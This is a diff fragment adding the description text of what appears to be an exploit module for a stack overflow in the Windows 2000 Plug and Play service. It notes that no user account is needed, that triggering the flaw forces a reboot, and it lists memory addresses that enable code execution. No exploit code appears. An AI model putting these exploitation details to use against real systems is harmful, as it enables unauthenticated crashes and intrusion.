+				This module triggers a stack overflow in the Windows Plug
+				and Play service. This vulnerability can be exploited on
+				Windows 2000 without a valid user account. Since the PnP
+				service runs inside the service.exe process, this module
+				will result in a forced reboot on Windows 2000. Obtaining 
+				code execution is possible if user-controlled memory can
+				be placed at 0x00000030, 0x0030005C, or 0x005C005C.
